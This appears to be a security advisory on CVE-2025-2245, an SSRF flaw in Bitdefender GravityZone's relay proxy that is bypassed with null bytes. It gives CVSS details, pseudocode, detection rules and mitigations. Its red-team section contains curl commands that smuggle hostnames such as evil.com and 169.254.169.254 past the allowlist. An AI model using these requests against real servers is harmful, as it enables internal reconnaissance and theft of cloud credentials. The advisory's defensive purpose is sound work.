CVE-2025-2245

Executive Summary

CVE-2025-2245 is a server-side request forgery (SSRF) vulnerability in the Bitdefender GravityZone Update Server when operating in Relay Mode. The HTTP proxy component on port 7074 uses a domain allowlist to restrict outbound requests but fails to properly sanitize hostnames containing null-byte (%00) sequences. By crafting a request to a domain such as evil.com%00.bitdefender.com, an attacker can bypass the allowlist check, causing the proxy to forward requests to arbitrary external or internal systems. This can lead to internal network reconnaissance, access to cloud metadata endpoints, or further lateral movement. No public exploit code or proof-of-concept is available at this time, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary enterprise security product (Bitdefender GravityZone Update Server). The risk is primarily to on-premises deployments where the update server is exposed to untrusted networks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
• Base Score: 8.6 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Changed
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The vulnerability is rated High due to the low attack complexity, no required privileges, and the potential to access internal systems (scope change). The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but this may change as details become public.

Deep Dive & Mechanics

The Bitdefender GravityZone Update Server in Relay Mode runs an HTTP proxy on port 7074. This proxy is intended to restrict outbound requests to a predefined allowlist of domains (e.g., *.bitdefender.com). The vulnerability lies in the hostname validation logic: the proxy does not properly handle null-byte (%00) sequences in the hostname. When a request is made to a domain like evil.com%00.bitdefender.com, the proxy’s allowlist check sees the suffix .bitdefender.com and approves the request. However, when the proxy forwards the request, the null-byte truncates the hostname at the %00, causing the actual request to be sent to evil.com. This allows an attacker to bypass the allowlist and make requests to arbitrary external or internal hosts.

The attack flow:

1. Attacker sends an HTTP request to the proxy on port 7074 with a Host header or URL containing evil.com%00.bitdefender.com.
2. The proxy’s allowlist check matches the suffix .bitdefender.com and allows the request.
3. The proxy forwards the request to evil.com (or an internal IP like 192.168.1.1%00.bitdefender.com), bypassing the intended restriction.

This can be used to scan internal networks, access cloud metadata services (e.g., 169.254.169.254), or interact with other internal services.

Vulnerable vs. Patched Code

No official patch has been released. The vulnerable code likely resides in the proxy’s hostname validation function. A simplified example of the vulnerable logic:

# Vulnerable pseudocode
def is_allowed(hostname):
    for allowed_domain in allowlist:
        if hostname.endswith(allowed_domain):
            return True
    return False

This does not sanitize null-bytes. A patched version would strip or reject null-byte sequences:

# Patched pseudocode
def is_allowed(hostname):
    # Remove null-byte and everything after it
    sanitized = hostname.split('\x00')[0]
    for allowed_domain in allowlist:
        if sanitized.endswith(allowed_domain):
            return True
    return False

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to the Bitdefender GravityZone Update Server on port 7074 (Relay Mode).
• Ability to send HTTP requests to the proxy.

Exploitation Steps:

1. Identify the proxy:

   curl -v http://<target>:7074/
   

2. Test allowlist bypass:

   curl -v -H "Host: evil.com%00.bitdefender.com" http://<target>:7074/
   

3. Internal network scan:

   curl -v -H "Host: 192.168.1.1%00.bitdefender.com" http://<target>:7074/
   

4. Access cloud metadata (AWS example):

   curl -v -H "Host: 169.254.169.254%00.bitdefender.com" http://<target>:7074/latest/meta-data/
   

Note: No public exploit code is available. The above commands are conceptual.

Blue Team

Detection:

• Monitor proxy logs for unusual hostnames containing %00 or null-byte sequences.
• Alert on outbound requests to unexpected internal IPs (e.g., 169.254.169.254, 10.x.x.x, 192.168.x.x).
• Use network segmentation to limit the proxy’s outbound access.

Hunting:

• Search proxy logs for patterns like %00.bitdefender.com or %00 in the Host header.
• Correlate with outbound connections from the proxy to internal IPs.

Indicators of Compromise (IOCs)

• Network:

  • HTTP requests to port 7074 with Host headers containing %00.
  • Outbound connections from the proxy to internal IPs (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254).
  • Unusual external domains in proxy logs.

• Logs:

  • Proxy access logs showing hostnames like evil.com%00.bitdefender.com.
  • Error logs indicating failed DNS resolution for truncated hostnames.

• Files:

  • No specific file-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2025_2245_SSRF_NullByte {
    meta:
        description = "Detects null-byte sequences in HTTP hostnames indicative of CVE-2025-2245 exploitation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2245"
    strings:
        $nullbyte = /%00/
        $host_header = /Host:\s*[^\r\n]*%00[^\r\n]*/ nocase
    condition:
        $host_header and $nullbyte
}

Sigma Rule

title: CVE-2025-2245 SSRF via Null-Byte in Host Header
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to Bitdefender GravityZone Update Server proxy with null-byte sequences in the Host header, indicating SSRF exploitation.
author: Valters IT
date: 2025-04-10
logsource:
    category: proxy
    product: bitdefender_gravityzone
detection:
    selection:
        cs-host|contains: '%00'
    condition: selection
falsepositives:
    - Legitimate use of null-bytes is extremely rare; any occurrence should be investigated.
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET 7074 (
    msg:"CVE-2025-2245 - Bitdefender GravityZone SSRF via Null-Byte in Host Header";
    flow:to_server,established;
    content:"Host|3a|"; nocase;
    content:"%00"; within:100;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2025-2245;
)

Remediation & Mitigation

Immediate Actions:

1. Restrict network access: Ensure the GravityZone Update Server is not exposed to untrusted networks (e.g., the internet). Use firewalls to limit access to trusted IPs only.
2. Monitor logs: Enable detailed logging on the proxy and monitor for null-byte sequences in hostnames.
3. Apply virtual patching: If using a WAF or reverse proxy, add rules to block requests containing %00 in the Host header.

Long-Term Fix:

• Await an official patch from Bitdefender. Once available, apply it immediately.
• Consider disabling Relay Mode if not required, or use an alternative update mechanism.

Workaround:

• If the proxy cannot be patched, implement a network-level ACL to block outbound requests to internal IP ranges from the proxy server.

Valters IT